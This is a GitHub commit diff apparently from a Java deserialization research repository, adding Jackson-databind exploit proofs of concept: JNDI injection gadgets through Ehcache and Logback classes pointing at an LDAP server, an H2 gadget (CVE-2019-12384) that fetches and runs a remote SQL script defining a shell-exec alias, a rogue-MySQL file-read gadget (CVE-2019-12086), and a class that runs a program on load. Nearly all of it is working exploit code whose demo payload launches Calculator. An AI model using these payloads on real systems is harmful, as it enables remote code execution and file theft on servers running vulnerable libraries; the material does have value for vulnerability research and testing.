Skip to content

Commit 8713752

Browse files
author
xuanyh
committed
增加jackson部分payload测试,包括mysql的文件读取、h2 db的rce、logback的jndi以及ehcache的jndi
1 parent d628fed commit 8713752

File tree

8 files changed

+157
-18
lines changed

8 files changed

+157
-18
lines changed

pom.xml

Lines changed: 26 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,12 @@
5151
<dependency>
5252
<groupId>com.fasterxml.jackson.core</groupId>
5353
<artifactId>jackson-core</artifactId>
54-
<version>2.6.3</version>
54+
<version>2.9.8</version>
55+
</dependency>
56+
<dependency>
57+
<groupId>com.fasterxml.jackson.core</groupId>
58+
<artifactId>jackson-databind</artifactId>
59+
<version>2.9.8</version>
5560
</dependency>
5661

5762
<!-- ldap -->
@@ -78,7 +83,7 @@
7883
<dependency>
7984
<groupId>mysql</groupId>
8085
<artifactId>mysql-connector-java</artifactId>
81-
<version>5.1.34</version>
86+
<version>8.0.13</version>
8287
</dependency>
8388

8489
<dependency>
@@ -97,6 +102,25 @@
97102
<version>6.2</version>
98103
</dependency>
99104

105+
<dependency>
106+
<groupId>com.h2database</groupId>
107+
<artifactId>h2</artifactId>
108+
<version>1.4.199</version>
109+
</dependency>
110+
111+
<dependency>
112+
<groupId>net.sf.ehcache</groupId>
113+
<artifactId>ehcache</artifactId>
114+
<version>2.10.6</version>
115+
</dependency>
116+
117+
<!-- Javaee API -->
118+
<dependency>
119+
<groupId>javax</groupId>
120+
<artifactId>javaee-api</artifactId>
121+
<version>6.0</version>
122+
</dependency>
123+
100124
</dependencies>
101125

102126
<build>

src/main/java/Calc.java

Lines changed: 16 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,16 @@
1-
///**
2-
// * @author xuanyh
3-
// */
4-
//public class Calc {
5-
// static {
6-
// try {
7-
// Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
8-
// } catch (Throwable e) {
9-
// e.printStackTrace();
10-
// }
11-
// }
12-
//
13-
// public static void main(String[] args) {
14-
//
15-
// }
16-
//}
1+
/**
2+
* @author xuanyh
3+
*/
4+
public class Calc {
5+
static {
6+
try {
7+
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
8+
} catch (Throwable e) {
9+
e.printStackTrace();
10+
}
11+
}
12+
13+
public static void main(String[] args) {
14+
15+
}
16+
}
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
package com.threedr3am.bug.jackson;
2+
3+
import com.fasterxml.jackson.databind.ObjectMapper;
4+
import com.threedr3am.bug.server.LdapServer;
5+
import com.threedr3am.bug.server.RmiServer;
6+
import java.io.IOException;
7+
8+
/**
9+
* CVE-2019-14379
10+
* jackson-databind RCE < 2.9.9.2
11+
* @author xuanyh
12+
*/
13+
public class EhcacheJndi {
14+
static {
15+
//rmi server示例
16+
// RmiServer.run();
17+
18+
//ldap server示例
19+
LdapServer.run();
20+
}
21+
22+
public static void main(String[] args) throws IOException {
23+
24+
String json = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\"," +
25+
"{\"properties\":{\"jndiName\":\"ldap://localhost:43658/Calc\"}}]";
26+
ObjectMapper mapper = new ObjectMapper();
27+
mapper.enableDefaultTyping();
28+
Object o = mapper.readValue(json, Object.class);
29+
mapper.writeValueAsString(o);
30+
31+
}
32+
}
Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
package com.threedr3am.bug.jackson;
2+
3+
import com.fasterxml.jackson.databind.ObjectMapper;
4+
import java.io.IOException;
5+
6+
/**
7+
* CVE-2019-12384
8+
* jackson-databind RCE < 2.9.9.2
9+
* @author xuanyh
10+
*/
11+
public class H2Rce {
12+
public static void main(String[] args) throws IOException {
13+
14+
ObjectMapper objectMapper = new ObjectMapper();
15+
objectMapper.enableDefaultTyping();//开启 defaultTyping
16+
//TODO 把resources文件inject.sql放到http服务器
17+
String json = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", " +
18+
"{\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:80/inject.sql'\"}]";
19+
Object o = objectMapper.readValue(json, Object.class);//反序列化对象
20+
String s = objectMapper.writeValueAsString(o);//
21+
}
22+
}
Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
package com.threedr3am.bug.jackson;
2+
3+
import com.fasterxml.jackson.databind.ObjectMapper;
4+
import com.threedr3am.bug.server.LdapServer;
5+
import com.threedr3am.bug.server.RmiServer;
6+
import java.io.IOException;
7+
8+
/**
9+
* logback jndi rce
10+
* jackson < 2.9.9.2
11+
* @author xuanyh
12+
*/
13+
public class LogbackJndi {
14+
static {
15+
//rmi server示例
16+
// RmiServer.run();
17+
18+
//ldap server示例
19+
LdapServer.run();
20+
}
21+
22+
public static void main(String[] args) throws IOException {
23+
24+
String json = "[\"ch.qos.logback.core.db.JNDIConnectionSource\",{\"jndiLocation\":\"ldap://localhost:43658/Calc\"}]";
25+
ObjectMapper mapper = new ObjectMapper();
26+
mapper.enableDefaultTyping();
27+
Object o = mapper.readValue(json, Object.class);
28+
mapper.writeValueAsString(o);
29+
}
30+
}
Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
package com.threedr3am.bug.jackson;
2+
3+
import com.fasterxml.jackson.databind.ObjectMapper;
4+
import java.io.IOException;
5+
6+
/**
7+
* CVE-2019-12086
8+
* jackson文件读取,2.x - 2.9.9,mysql < 8.0.14
9+
* https://github.com/Gifts/Rogue-MySql-Server
10+
* @author xuanyh
11+
*/
12+
public class MysqlFileRead {
13+
14+
public static void main(String[] args) throws IOException {
15+
ObjectMapper mapper = new ObjectMapper();
16+
mapper.enableDefaultTyping();
17+
//需要指定Rogue-MySql-Server地址
18+
String json = "[\"com.mysql.cj.jdbc.admin.MiniAdmin\", \"jdbc:mysql://127.0.0.1:3306/\"]";
19+
mapper.readValue(json, Object.class);
20+
}
21+
}
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
/**
2+
* @author xuanyh
3+
*/
4+
package com.threedr3am.bug.jackson;

src/main/resources/inject.sql

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException {
2+
String[] command = {cmd};
3+
Runtime.getRuntime().exec(command)
4+
}
5+
$$;
6+
CALL SHELLEXEC('/Applications/Calculator.app/Contents/MacOS/Calculator')

0 commit comments

Comments
 (0)